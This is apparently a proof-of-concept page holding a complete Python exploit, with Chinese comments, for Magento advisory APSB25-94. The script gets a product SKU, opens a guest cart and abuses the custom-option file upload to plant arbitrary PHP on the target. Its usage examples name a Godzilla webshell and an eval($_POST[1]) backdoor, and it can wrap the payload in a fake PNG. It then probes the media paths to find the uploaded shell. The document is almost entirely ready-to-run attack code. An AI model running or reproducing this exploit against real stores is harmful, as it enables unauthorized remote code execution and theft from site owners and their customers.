5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / magento_upload.py PY
#!/usr/bin/env python3
"""
Magento APSB25-94 — 单目标手动上传工具
支持上传自定义文件或直接指定 PHP 代码

用法:
  # 上传本地文件(如哥斯拉马)
  python magento_upload.py -u https://target.com -f godzilla.php

  # 直接指定 PHP 代码
  python magento_upload.py -u https://target.com -c '<?php phpinfo();?>'

  # 指定上传文件名
  python magento_upload.py -u https://target.com -f shell.php -n abc.php

  # 上传原始文件(不包裹 PNG,直接 base64)
  python magento_upload.py -u https://target.com -f shell.php --raw

  # 指定 SKU(跳过自动获取)
  python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>' -s "SKU-123"
"""

import requests
import base64
import random
import string
import struct
import zlib
import argparse
import sys
import os

requests.packages.urllib3.disable_warnings()

JSON_HEADERS = {"Accept": "application/json", "Content-Type": "application/json"}
TIMEOUT = 30

UPLOAD_PATHS = [
    "/pub/media/custom_options/quote/{0}/{1}/{2}",
    "/media/custom_options/quote/{0}/{1}/{2}",
    "/pub/media/custom_options/{0}/{1}/{2}",
    "/media/custom_options/{0}/{1}/{2}",
]


def make_png_polyshell(payload_bytes):
    """将 payload 追加到合法 PNG 末尾"""
    sig = b'\x89PNG\r\n\x1a\n'
    def mc(ct, d):
        raw = ct + d
        return struct.pack('>I', len(d)) + raw + struct.pack('>I', zlib.crc32(raw) & 0xffffffff)
    ihdr = mc(b'IHDR', struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0))
    idat = mc(b'IDAT', zlib.compress(b'\x00\xff\x00\x00'))
    iend = mc(b'IEND', b'')
    return sig + ihdr + idat + iend + payload_bytes


def get_sku(session, base_url):
    print("[*] 获取 SKU...")
    resp = session.post(
        f"{base_url}/graphql",
        headers=JSON_HEADERS,
        json={"query": '{ products(search: "", pageSize: 1) { items { sku } } }'},
        timeout=TIMEOUT, verify=False
    )
    sku = resp.json()['data']['products']['items'][0]['sku']
    print(f"[+] SKU: {sku}")
    return sku


def create_cart(session, base_url):
    print("[*] 创建购物车...")
    resp = session.post(
        f"{base_url}/rest/default/V1/guest-carts",
        headers=JSON_HEADERS, timeout=TIMEOUT, verify=False
    )
    cart_id = resp.json()
    print(f"[+] Cart: {cart_id}")
    return cart_id


def upload(session, base_url, cart_id, sku, b64_data, filename):
    print(f"[*] 上传: {filename} ({len(b64_data)} b64 chars)...")
    json_body = {
        "cart_item": {
            "product_option": {
                "extension_attributes": {
                    "custom_options": [{
                        "extension_attributes": {
                            "file_info": {
                                "base64_encoded_data": b64_data,
                                "name": filename,
                                "type": "image/png"
                            }
                        },
                        "option_id": "12345",
                        "option_value": "file"
                    }]
                }
            },
            "qty": 1,
            "sku": sku
        }
    }
    resp = session.post(
        f"{base_url}/rest/default/V1/guest-carts/{cart_id}/items",
        headers=JSON_HEADERS, json=json_body, timeout=TIMEOUT, verify=False
    )
    print(f"[*] 上传响应: HTTP {resp.status_code}")
    if resp.status_code != 200:
        print(f"    Body: {resp.text[:300]}")
    return resp


def probe_paths(session, base_url, filename):
    print(f"[*] 探测上传路径...")
    for tpl in UPLOAD_PATHS:
        url = base_url + tpl.format(filename[0], filename[1], filename)
        try:
            resp = session.get(url, timeout=TIMEOUT, verify=False)
            code = resp.status_code
            size = len(resp.content)
            preview = resp.text[:120].replace('\n', ' ')
            if code != 404:
                print(f"  [HIT] HTTP {code} | {size}B | {url}")
                print(f"         Body: {preview}")
                return url, resp
            else:
                print(f"  [---] HTTP 404 | {url}")
        except Exception as e:
            print(f"  [ERR] {url} | {e}")
    return None, None


def main():
    parser = argparse.ArgumentParser(
        description="Magento APSB25-94 单目标上传工具",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
示例:
  %(prog)s -u https://target.com -c '<?php phpinfo();?>'
  %(prog)s -u https://target.com -f godzilla.php
  %(prog)s -u https://target.com -f shell.php -n custom_name.php
  %(prog)s -u https://target.com -f shell.php --raw
  %(prog)s -u https://target.com -c '<?php eval($_POST[1]);?>' -s "24-MB01"
        """
    )
    parser.add_argument('-u', '--url', required=True, help="目标 URL")
    parser.add_argument('-f', '--file', help="要上传的本地文件路径")
    parser.add_argument('-c', '--code', help="直接指定 PHP 代码字符串")
    parser.add_argument('-n', '--name', help="自定义上传文件名 (默认随机.php)")
    parser.add_argument('-s', '--sku', help="手动指定 SKU (跳过自动获取)")
    parser.add_argument('--raw', action='store_true', help="不包裹 PNG,直接上传原始文件内容")
    parser.add_argument('--no-probe', action='store_true', help="上传后不探测路径")
    args = parser.parse_args()

    if not args.file and not args.code:
        parser.error("必须指定 -f (文件) 或 -c (代码) 其中之一")

    raw_url = args.url.strip().rstrip('/')
    if not raw_url.startswith('http://') and not raw_url.startswith('https://'):
        raw_url = 'https://' + raw_url
    base_url = raw_url

    # 读取 payload
    if args.file:
        if not os.path.exists(args.file):
            print(f"[-] 文件不存在: {args.file}")
            sys.exit(1)
        with open(args.file, 'rb') as f:
            payload_bytes = f.read()
        print(f"[+] 从文件加载: {args.file} ({len(payload_bytes)} bytes)")
    else:
        payload_bytes = args.code.encode('utf-8')
        print(f"[+] 使用代码: {args.code[:80]}{'...' if len(args.code) > 80 else ''}")

    # 文件名
    if args.name:
        filename = args.name
    elif args.file:
        filename = os.path.basename(args.file)
    else:
        filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + '.php'

    # 构造上传数据
    if args.raw:
        b64_data = base64.b64encode(payload_bytes).decode()
        print(f"[*] 模式: RAW (不包裹 PNG)")
    else:
        png_data = make_png_polyshell(payload_bytes)
        b64_data = base64.b64encode(png_data).decode()
        print(f"[*] 模式: PNG polyshell ({len(png_data)} bytes)")

    print(f"[*] 文件名: {filename}")
    print(f"[*] 目标: {base_url}")
    print()

    session = requests.Session()
    session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

    # SKU
    if args.sku:
        sku = args.sku
        print(f"[+] 使用指定 SKU: {sku}")
    else:
        try:
            sku = get_sku(session, base_url)
        except Exception as e:
            print(f"[-] SKU 获取失败: {e}")
            sys.exit(1)

    # Cart + Upload
    try:
        cart_id = create_cart(session, base_url)
    except Exception as e:
        print(f"[-] 购物车创建失败: {e}")
        sys.exit(1)

    upload(session, base_url, cart_id, sku, b64_data, filename)

    # 探测
    if not args.no_probe:
        print()
        url, resp = probe_paths(session, base_url, filename)
        if url:
            print(f"\n{'='*60}")
            print(f"[+] 文件已上传: {url}")
            print(f"{'='*60}")
        else:
            print(f"\n[-] 所有路径均未命中")
    else:
        print("\n[*] 跳过路径探测 (--no-probe)")
        for tpl in UPLOAD_PATHS:
            print(f"  手动检查: {base_url + tpl.format(filename[0], filename[1], filename)}")


if __name__ == "__main__":
    main()